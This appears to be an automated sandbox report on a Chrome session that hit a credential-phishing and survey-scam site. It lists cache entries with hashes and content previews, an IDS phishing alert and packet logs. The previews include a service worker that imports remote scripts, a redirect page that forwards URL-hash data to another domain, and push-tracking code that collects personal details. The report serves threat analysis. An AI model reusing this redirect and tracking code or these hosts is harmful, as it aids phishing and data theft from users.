Preview:	@charset "UTF-8";/! animate.css -http://daneden.me/animate.* Version - 3.7.0.* Licensed under the MIT license - http://opensource.org/licenses/MIT.. Copyright (c) 2018 Daniel Eden*/@-webkit-keyframes bounce{from,20%,53%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{from,20%,53%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1781
Entropy (8bit):	7.876950143793336
Encrypted:	false
SSDEEP:	24:rbi3mjrgCY2pCoduMC6qjfNOIsLMeipbHJ7BG2TetUJRv0WTUDJ0f+743oJCrIZM:rW8y3ikfNneMbHFjTL0KwD9JsqM
MD5:	E8D617749C17919B73A255833CC16DF5
SHA1:	8AAEFCB3965FC52D9782FB9A76B81DF3FE673282
SHA-256:	EB97F1CEB86CF65FEBE6FC09278D503747F140E18297B6DA6EE4BDCD41479F43
SHA-512:	EAB146AC9E6005D49185780FE731AC54C5498B24117872797A877A5A428D961F70AF174FF91E51857764BCE965931E718477AC37987DBBCF82FB147E683EBFBC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...(........m....IDATx....t\[...d.x..uj...8..8..v'.fm.._..&5..g...M..g..]..{..>#.g...`.n...?.`....W..CAdn.:..../\LHh...e./....'.6..g'....)h.v.V....(L.6(&.6...([..h.V".#......G..MS(..t....9PC.P..u.y.=+...h......Q.....89.92p...;..La....m.&.y......e..nL."W....2.am..{O..-.....{.{..+......h.....P..b=.' "".b..A.v.9.,p...A...0a.d.?....8...&..O...b........M....3...JM.`.......ul"............IL.Y...FU......r..ON[).9.`..........H3....)..}..s....KM,t...D.i.]l7Y.0.L._.jB...v.y..o36n.......+..^$...3F....;..N...E.%..".0.}....KE....J.IiB.....6qCA.SG... .j.?k.P.j5.z}.._..I....F...2g.I......._[......_ .......].G.C)9/.uHM-..E...._.<.9.&L$9x....c.vG.e....C.R.eh.z....\\.BeL.K.W..Q..m..Y...-........%...Q.i0s.d..l.......h..].yI$..3).q.]0m.j....B........... ....6q..Q#qf..Z;=d..F2.........._\..Z.k.pt..:...B....F.].%.....P..G.y.y.....}.....mD...U0..\.q.j../v....aa.....~.gp...J....<.+....EcD.x...w........F.=...R=-..+#..Ef..&.

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	856
Entropy (8bit):	3.736142305147838
Encrypted:	false
SSDEEP:	12:Um4BEQdZTBygF/KvwBEDIKxE8f8N2Liq52Wc8gzlfuYVIayxIYwPCZExvL2TeFv:74BEQ/TgDwBt8EWa4rE5+2YsAEdmeFv
MD5:	73E1CFE0E40A5535CBE2A1FB5006BFC8
SHA1:	61ACF5EBC7D43CC5351C7A5C3D584C58200C47EC
SHA-256:	C13143D30386F99ED1F568D31D682054BEC5DD0B74BE1D5D98EC27EB81CD670C
SHA-512:	6C73320DB5325FCB1850EE899BB72587710581FAD184E5BB186BF9D86AFE80CEAA3671EE057758DCBEDCD75EEA0CB7E1BC7E86A4B5B97663BBD19A5D79333DCE
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/terms/css/_modal.css
Preview:	/* Basic styles for the modal */. #termsModal {. display: none;. position: fixed;. z-index: 1;. left: 0;. top: 0;. width: 100%;. height: 100%;. overflow: auto;. background-color: rgb(0,0,0);. background-color: rgba(0,0,0,0.4);. padding-top: 60px;. }. #modalContent {. background-color: #fefefe;. margin: 5% auto;. padding: 20px;. border: 1px solid #888;. width: 80%;. }. .close {. color: #aaa;. float: right;. font-size: 28px;. font-weight: bold;. }. .close:hover,. .close:focus {. color: black;. text-decoration: none;. cursor: pointer;. }

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 608x456, components 3
Category:	downloaded
Size (bytes):	20407
Entropy (8bit):	7.945045210096944
Encrypted:	false
SSDEEP:	384:wh0EQE68/eStY2L26oRqX3LnO2yIlxWT2KQYOPS+bjnO5sbC:whv9h5jSIlxW6KsPS+bjnO5sbC
MD5:	F876F9F80AB0E09935116175CD22170E
SHA1:	544A26B97FF1D6EA6FB44EE793270C9E98F1CB4A
SHA-256:	F28A85A0489527B0FDAB6E9A3AFA29D69436B0BFC39C8E92813E75043E131AAA
SHA-512:	379F883E8AA9EEBF0EF64DDDE85BC1A6DEDD97DE588308DBEA60D807D8A17762C4BB34D37E6985C529A447A1DB2F4EAC5950A8A0BB18043DD3DF8DE2A51CF190
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/bg.jpg
Preview:	......JFIF.....H.H.....C....................................!$..( ..%2%(,-/0/.#484.7./....C.........................................................................`.."........................................6.........................!1..AQa"2..Bq.#..CR3..$Sbc.........................................................!1.AQ.2a."R3Bq.....#............?....C...!4....A .Bh...........D.."@.D.I........h$..h.!,.!4..` H... .6....h:&.............A ..4.....tM.` t@,.....$.....:.].Ch:..&..4...h}.@.&...M.b..D......M.X...:...46..K....M.b..D.b.:.D.Ib.m...A.@..46.C.`.4..tM.A.....X..h........................4...D....@...M....M.D....b.` H...:&.!..h..:.....D.I`.46....A.t..b...%.D.@.t........D..A.4P...h.H6....D. ....h.h..D...:....tM..h.].Ch:(.D......D... Hz.@.......@@.D.......M....tM...B.h. 4M. ....h.h..t.. ...`M.Ch....t6.,..h}.B..&. ...A.&...M......:.J.D......A..&...D..&...D..&...A..&.b..4>..b..t6..b..46..b..4>..b..46...5.D.....D.4?)4,j&...RhX.D.f..,...h....aEz&.yI.,jW..D.G$.!N...@.B.@.

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HINR:QR
MD5:	41DFA390BDE9136553CECBEE84751A76
SHA1:	A4DD00D34D4EFDA2740F34E488345067CCCC704B
SHA-256:	50FF85BA84ABD65F06BFCDF41E481A0B3B0FF543183376214599FC51D5EEDC86
SHA-512:	604FAF5189412325D15FFABA07F11A964C196CA560F9091930CB5710681F8577CA2992E75EBE892CA8ADE40432B4DE1FFCA5E9EBBA0EB05EC0D22D2F18BCEFC2
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmiRCASK4mvzxIFDTED5m8=?alt=proto
Preview:	CgkKBw0xA+ZvGgA=

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	4320
Entropy (8bit):	4.989893085213342
Encrypted:	false
SSDEEP:	96:kY9jAWbQbNEJFDXOcix3JSG8VP/Sdv9Fl3ecUfSXJ:Kk0IF7OaVEvLlucU6Z
MD5:	C779C6BED08B99DB4EDC8367205DDE7D
SHA1:	7824CDF77BC84D027AAD79C86137CD9625DA5BE7
SHA-256:	64F80DE41357BEF741199367A0A60676C199EA25296544BEE06304C65231C8C1
SHA-512:	91CA2CBCC9C60C1434658EBD6C4EEC286EC41D0524C9EB08B3A27C038749469287308F7673F61CA4D16026296E08337526DD75CAE26635465E59B843C86720F8
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/appear.css
Preview:	button {. border: none;. background: none;. outline: none;.}...hidden {. display: none;.}...clear,..clearfix:after {. clear: both.}..a img,.img {. /* height:auto; /. / max-width:100%; /.}..body {. / margin:0; /. / padding:0; /. / font-family:Arial,sans-serif; /. / font-size:15px; */.}...left {. float: left.}...right {. float: right.}...clearfix:after,..clearfix:before {. content: " ";. display: table.}...alignRright {. float: right;. margin: 0 0 12px 15px.}...alignLeft,..float-left {. float: left.}...alignLeft {. margin: 0 15px 12px 0.}...alignCenter {. float: none !important;. margin: 0 auto;. display: block.}..a img,.img {. border: 0.}...text-left {. text-align: left.}...text-right {. text-align: right.}...text-center {. text-align: center.}...text-justify {. text-align: justify.}...config-errors h3 {. padding: 10px 0;. margin: 5px.}...config-errors ul {. padding: 0;. margin: 0.}...config-errors li {. padding: 10px;. margin: 5px;. backgroun

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 608x456, components 3
Category:	dropped
Size (bytes):	20407
Entropy (8bit):	7.945045210096944
Encrypted:	false
SSDEEP:	384:wh0EQE68/eStY2L26oRqX3LnO2yIlxWT2KQYOPS+bjnO5sbC:whv9h5jSIlxW6KsPS+bjnO5sbC
MD5:	F876F9F80AB0E09935116175CD22170E
SHA1:	544A26B97FF1D6EA6FB44EE793270C9E98F1CB4A
SHA-256:	F28A85A0489527B0FDAB6E9A3AFA29D69436B0BFC39C8E92813E75043E131AAA
SHA-512:	379F883E8AA9EEBF0EF64DDDE85BC1A6DEDD97DE588308DBEA60D807D8A17762C4BB34D37E6985C529A447A1DB2F4EAC5950A8A0BB18043DD3DF8DE2A51CF190
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....C....................................!$..( ..%2%(,-/0/.#484.7./....C.........................................................................`.."........................................6.........................!1..AQa"2..Bq.#..CR3..$Sbc.........................................................!1.AQ.2a."R3Bq.....#............?....C...!4....A .Bh...........D.."@.D.I........h$..h.!,.!4..` H... .6....h:&.............A ..4.....tM.` t@,.....$.....:.].Ch:..&..4...h}.@.&...M.b..D......M.X...:...46..K....M.b..D.b.:.D.Ib.m...A.@..46.C.`.4..tM.A.....X..h........................4...D....@...M....M.D....b.` H...:&.!..h..:.....D.I`.46....A.t..b...%.D.@.t........D..A.4P...h.H6....D. ....h.h..D...:....tM..h.].Ch:(.D......D... Hz.@.......@@.D.......M....tM...B.h. 4M. ....h.h..t.. ...`M.Ch....t6.,..h}.B..&. ...A.&...M......:.J.D......A..&...D..&...D..&...A..&.b..4>..b..t6..b..46..b..4>..b..46...5.D.....D.4?)4,j&...RhX.D.f..,...h....aEz&.yI.,jW..D.G$.!N...@.B.@.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text
Category:	downloaded
Size (bytes):	187
Entropy (8bit):	4.8886726192083545
Encrypted:	false
SSDEEP:	3:RFD0nR6qKZSaSCeADKLbQBMWnlXiKINGkRpQAU3ug8MWnlXiKINGkROYH:jD0nR6qKfSlbQhNiKIN7RpQAUzoNiKIf
MD5:	D63AEDD275AECDC27B00E7F4E7891420
SHA1:	1DF807D9602AF417A73AE97C9EFD85F3AA83B17B
SHA-256:	D7B88E813186D5937AFFC19BF84A286776814B6F2408C8B3626C7DAD334F8DBF
SHA-512:	3C378C13F99FA003534AAC68600590A735F189F01C43D1F0BD4341A7A9ABF469BDD6563E35E32F46B7E167F134E23846D48BD188E7E1A08B856CEF82BE14D780
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/service-worker.js
Preview:	// general.if(typeof window === 'undefined'){. importScripts('https://trk-dynamoris.com/scripts/pg/v9e118mez8').}.importScripts('https://trk-dynamoris.com/scripts/sw/v9e118mez8');.

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	528
Entropy (8bit):	5.152950273520421
Encrypted:	false
SSDEEP:	12:LM8SqXyWOpdBfDj+fljUDDGisoMyhLGUDEnyfcEdCLTQ6E5VKaRY2xL4/Mv:LM8lNjrGv4TUD4/Mv
MD5:	5C6EFDD09DA846E6E3259162E92ECCF7
SHA1:	2E3D75F40B1706A1D9C92F5C826B3AABA87871F1
SHA-256:	97CDBDA370CF4A965247E68A83D4A735F394D8FA6D8996FD0A9CEE5A6F82BC35
SHA-512:	6DAE6633ACEB09768BFA48C8C748DC9E5236286A3672557346F5F659BF25E3347D144385B20F1BF98C4908DA43AA9A306C81F76F8D014048CBF97658682B566C
Malicious:	false
Reputation:	low
URL:	https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html
Preview:	..<meta http-equiv="refresh" content="3; url=">..<script>..// Initial URL....var initialURL = window.location.href;....// Extracting the hash part of the URL..var hashPart = initialURL.split('#')[1];....// Extracting values from the hash part..var hashValues = hashPart.split('/');....// Rearranging the values for the new URL format..var newURL = 'https://vaultdores.com/0/0/0/264e35134ac25f9de46ef31bca03b2d6' + '/' + hashValues[0] + '/' + hashValues[1] + '/' + hashValues[2] ;....document.location.href = newURL;..</script>..

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30343)
Category:	downloaded
Size (bytes):	30344
Entropy (8bit):	4.71081887626325
Encrypted:	false
SSDEEP:	384:bu5yWeTUKW+KlkJ5de2UYDyVfwYUas2l8yQ/8dwmaU8G:klr+Klk3Yi+fwYUf2l8yQ/e9vf
MD5:	36082410DF2EF7F83932219089DC1443
SHA1:	7961402D7D01E19387FE609A38454B0BC8C6CCA4
SHA-256:	5B9573E1023DA775390E9284EC0EB1C606DF9B468A28980055B4A6AA804F4350
SHA-512:	806FF5B14991E42523541D89A18EB295C4BC3DD7C7E9895068EF083A898DBE928D3852638CF106D0A646617E773CA2084B439659B41B3125B7E4FCA1D2D81FB1
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome-css.min.css
Preview:	.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 184 x 182
Category:	dropped
Size (bytes):	88139
Entropy (8bit):	7.9373861913409165
Encrypted:	false
SSDEEP:	1536:5AySpVeTaOCV+2Rg98qXIMW62CHoIVqiHl8UM/HpjeD+MoYoV8DNU:CZpVjV9SPYM8pI02lHeJjeqBV8D+
MD5:	B5BAD20F0706B33484B0EF5E81118426
SHA1:	0680E07A39105A70AC8E03E23551369E25BD1BFC
SHA-256:	887D2B7EE3326783AF0D945F93E12DF5D8B5A8253EF6D8E39009979C67CA89AE
SHA-512:	245B9CB489534771E26EF460965F3EAE7AA59DF35227FA32F5E2C9A6E2B478D70FDE1D0D72BA826AA199529E10B5A8CADEE10AB546C975AE22C272717A4911A9
Malicious:	false
Reputation:	low
Preview:	GIF89a.............................................................\S.h`..{....6+.9-.;0.>3.?5.@7~C9.D;.I?.G>.MD.PG.TK.XP.`X.f^.rj.qj.}u.vo....................................0+w....................................................................(,i.........in........................................S[.........................................@^..............................q........Lgw.........................................................:.\|........................y.R...............................L.f.....................................................................................C.-f.Vs.e..w................................C.+E.+E.-G.-G./H.1K.5P.;Y.F\.I\|.n.............................................................................................!..NETSCAPE2.0.....!.......,...............H......*\.a<..#J.H....3j.... C..IR..(S.\...0c.........`D.........v...t&..0.2.J...X..m..%..Rk..K...g.....[.P...K..X.m...k3.\...[].w.^...+V. Ia.M.&^L........[..g.

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	10587
Entropy (8bit):	5.176945857092317
Encrypted:	false
SSDEEP:	96:tuwhrqulxwJnlVnNGbQwtt0GeG7do0f0KsJTv9alBKEey0az7Whdn/wieQhpVQ/C:9qVlVm7Lgv0lwEebaz4n/re5ohFqK
MD5:	134A373C9B1B3794B61B9EF49A6B69A2
SHA1:	62290A846F901B6682AD63EE3EA4085756F02F1F
SHA-256:	2CE7C20F09B5E2D16E967678056687BAF88F86BAA41F93C671FB81E39E763A3F
SHA-512:	C0D597AEA962F2CE0B715D8E15A4C7E0C508553C4A6C7F48A1C73BB9A1B906E2AB47FA6751ED1097AA24B07304F1F0022C87DE1768756D91FC2377B69667C6CB
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/css/app.css
Preview:	.clear,..clearfix:after {..clear: both.}.a img,.img {..height: auto;..max-width: 100%.}.body {..margin: 0;..padding: 0;..font-family: Arial, sans-serif;..font-size: 15px.}.li,.ul {..list-style-type: none.}..left {..float: left.}..right {..float: right.}..clearfix:after,..clearfix:before {..content: " ";..display: table.}..alignRright {..float: right;..margin: 0 0 12px 15px.}..alignLeft,..float-left {..float: left.}..alignLeft {..margin: 0 15px 12px 0.}..alignCenter {..float: none!important;..margin: 0 auto;..display: block.}.a img,.img {..border: 0.}..text-left {..text-align: left.}..text-right {..text-align: right.}..text-center {..text-align: center.}..text-justify {..text-align: justify.}..config-errors h3 {..padding: 10px 0;..margin: 5px.}..config-errors ul {..padding: 0;..margin: 0.}..config-errors li {..padding: 10px;..margin: 5px;..background-color: #FCC;..border: 1px solid #C00;..color: #333;..font: 15px/20px arial, sans-serif.}..config-errors li strong {..float: right.}.input[

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3161
Entropy (8bit):	4.107696959162649
Encrypted:	false
SSDEEP:	48:R0ac+rPJYViiItibcANc+5Pxr3Fdr5W8YNUSnKNfXCnGEr/au3xBQR/:/OViiItiPlxrfrCKSKVCnGEXA
MD5:	A63AA6EAC427B6B33C696473D9B201F4
SHA1:	B816BAE1BDECB9A53A15A2DEB4641E2EB3E6D891
SHA-256:	2C76BF386DFE289B1145A54C630F2D84B22B14744F453235232DAB9C856CB894
SHA-512:	5953FA40A895FDDA0DA530BB0EE708654C378285E54F4DF3BDA1420063F5C91FC8964592C117D80C8A21811B62EDE59BBF25BAF25F7569CDFC2784C35521724A
Malicious:	false
Reputation:	low
Preview:	var errorClass = 'has-error';.var validClass = 'no-error';.var country = $('select[name$=Country]');.var zipSelector = $('input[name=shippingZip]');..if (validator_data.enable_statecode_validation) {.. country. .change(function () {.. FwUtils.log('Country changed');. var c_code = $(this).val();. if(typeof c_code !== "undefined" && . c_code !='' && c_code == "CA" && . !validator_data.enable_ca_statecode_validation){. return;. }. if(typeof c_code !== "undefined" && c_code !='' && . c_code == "US" && !validator_data.enable_us_statecode_validation){. return;. }. . if($(this).attr('name') == 'billingCountry'). {. zipSelector = $('input[name=billingZip]');. country = $('select[name=billingCountry]');.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (336)
Category:	dropped
Size (bytes):	26107
Entropy (8bit):	4.368161931141344
Encrypted:	false
SSDEEP:	192:QCW2UL8WM0guk/7E7JCTk8TRwT8jz8inD0E+Cr5K8iEB5UglQzGP2rMyJP/Dgk/6:9cikYK0juJIUbSJCsFp
MD5:	771FB6B4864185EE96C6D538B5CA4FC7
SHA1:	F16951881F59B4F12F8FD52AA114E1C513AF86F4
SHA-256:	FEC88175C43B57CEB57A85635E11EDB8FCD0A94A20DE830B7DE528540AA40A84
SHA-512:	6855423A9C507F212FBEAED94341D6493B930BD6C26DD4D4425B48FA83C626CEABBD82426E0B7532B1316B8BB0FA684E8EC914F38422BAD55F8EF7D12E2B9131
Malicious:	false
Reputation:	low
Preview:	(function ($) {. 'use strict';. $.fn.formHandler = function (_selfOptions) {. /*. -------------------------------------------------------------. * Check the existence of the element before binding any events. * on its childrens.. * -------------------------------------------------------------. /. if (!this.length) {. return false;. }. $(this).attr('novalidate', 'novalidate');. /. ------------------------------------------------. * The error modal is set to true by default.. * ------------------------------------------------. */. var defaults = {. errorModal: true,. autoFillFormElement: false,. countryDropdown: 'Select Country',. ajaxLoader: {. div: '',. timeInOut: 0. },. responseLoader: {. div: '',. timeInOut: 0. }

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/img/processing.gif
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 138 x 133, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	7.974844598564267
Encrypted:	false
SSDEEP:	192:raNdDxEznC/5Zi927OFVynFYsqtPiv17hIWTG4sE1CWAIHa3yehCxEXdW6WKdhhu:OEoni4WynFzqtPi1uWnsE1C6ooxuQMhU
MD5:	96DE7278165F82601754FD6D5B84ADC4
SHA1:	8B05B2606FB419545011C03F6F59260F2AD56B6F
SHA-256:	C6C896E27FF1F1D6CB22CE652DCCA916946CE9F003BCB4FE30D1265FCB531A95
SHA-512:	B6211DC1E3A7B416EA10127D61A0125AD38C2EF968F16970580766C57D1BF48E679B0FA3946A2D9EFB20D15D6B31816217FFE29E5C78E6C321A304067853AECB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................PLTE.........4..z.z.....:...................M.o..p..........p....d..O..(..2..W.....0..=..H.]..^...\|%..C..evp!.........."..E.....J.Q.......................................................................j.....)...........j......................................n...............NA.....................................L@...&.........B:.?4........Y.............y.&..yp.......{q...$................".....}v.\T....OG....sl.......eZ.41.......pd.....}..u............./(.jkj...XK........`565..........{.. ..{....``^>=>..&...H<.hb.;,...................(&......].t.qi....ib......ttut..iVE....TSS`S....a[..y.........f..=......./....eT......+zh....3........... ...........KKKRN...................SC5.FD.'&$N@.........]..%.._CBH.......z.......g.....s.....dGK1m.#....0tRNS.U..}.M.I.\A,u8#...ri............e.........n;-..#.IDATx..Y{\SU...G .e(\|.J.^.......-6.&..}.5...[..Ga.h..%.....`..........Q#DQD.K.25K...G...=>=........\|.9..=L........i.%

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8139)
Category:	downloaded
Size (bytes):	8140
Entropy (8bit):	5.226933429372996
Encrypted:	false
SSDEEP:	192:T9CXUIO2wUcWTOZBdEhC+eydsdof+4Wd/si4E+wC/Hhdk/yMJV4pHn6my+wg:T9u3wUpTSdQWydsdorWdkit8BdLMY96k
MD5:	AB8AB16279ED2EE8CB9A7FD8EBCE1D75
SHA1:	55899CAADF1562FC90F1F931AFC85662A7E1BD5C
SHA-256:	0023A8F8391B10006EE27598323DE8D0E3D019755E8F7A16E88464B1AEF00B39
SHA-512:	1D32B958EA4C0A3EA882F2EDCB4913F329AD22496DA8F6FAD081004B225D2611480D070EC451E7AC8FE8450AF7A32A22062BB70AC92E47B68A146466B99AD7C4
Malicious:	false
Reputation:	low
URL:	https://trk-elevostra.com/scripts/push/v9e118mez8
Preview:	'use strict';const smPushApplicationServerPublicKey="BJbujtKImkiLWjlWkMGYMo2_sM0al24KoS7U6TJ1U7sKJaxlIULz5s6p7tN6WbnLisCq_Si5hP7X0769TvPDFTQ=",smPushSiteId="v9e118mez8",smClientId="q2goykjdrv",serviceWorker="/service-worker.js";let smPushDomain="push.trk-elevostra.com",pushLogging=!0;const version=818;let smPushSubscriptionId,subscriptionDomain="subscription.trk-elevostra.com",eventDomain="event.trk-elevostra.com",sessionId="";const utmObj={mt:"",utm_source:"",utm_medium:"",utm_campaign:"",source_one:"",source_two:"",source_three:"",source_four:"",source_five:"",first_name:"",last_name:"",email:"",email_md5:"",zip_code:"",gender:"",age:""},taboolaUrl="https://api.taboola.com/2.0/json/smpush-general/user.sync?app.type=web&app.apikey=dd83e155339c3c4626a1a3e8465b50db3024b412";function urlBase64ToUint8Array(a){const b="=".repeat((4-a.length%4)%4),c=(a+b).replace(/\-/g,"+").replace(/_/g,"/"),d=window.atob(c),e=new Uint8Array(d.length);for(let b=0;b<d.length;++b)e[b]=d.charCodeAt(b);return e

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T18:18:10.891432+0200	2053469	ET PHISHING Generic Survey Credential Phish Landing Page 2024-06-11	1	104.21.57.136	443	192.168.2.16	49717	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 18:18:03.550956964 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:03.852721930 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:04.235538006 CEST	49696	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:04.240456104 CEST	53	49696	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:04.240555048 CEST	49696	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:04.240719080 CEST	49696	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:04.240767002 CEST	49696	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:04.240849018 CEST	49696	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:04.245529890 CEST	53	49696	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:04.245654106 CEST	53	49696	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:04.286891937 CEST	53	49696	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:04.456748009 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:04.827203989 CEST	53	49696	1.1.1.1	192.168.2.16
Oct 3, 2024 18:18:04.827435017 CEST	49696	53	192.168.2.16	1.1.1.1
Oct 3, 2024 18:18:05.659729004 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:06.216626883 CEST	49689	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:06.261569023 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:06.261612892 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:06.261892080 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:06.261909962 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:06.261979103 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:06.262048960 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:06.262151957 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:06.262171030 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:06.262465954 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:06.262502909 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.203372955 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.203743935 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.203757048 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.204952955 CEST	443	49706	194.31.223.121	192.168.2.16
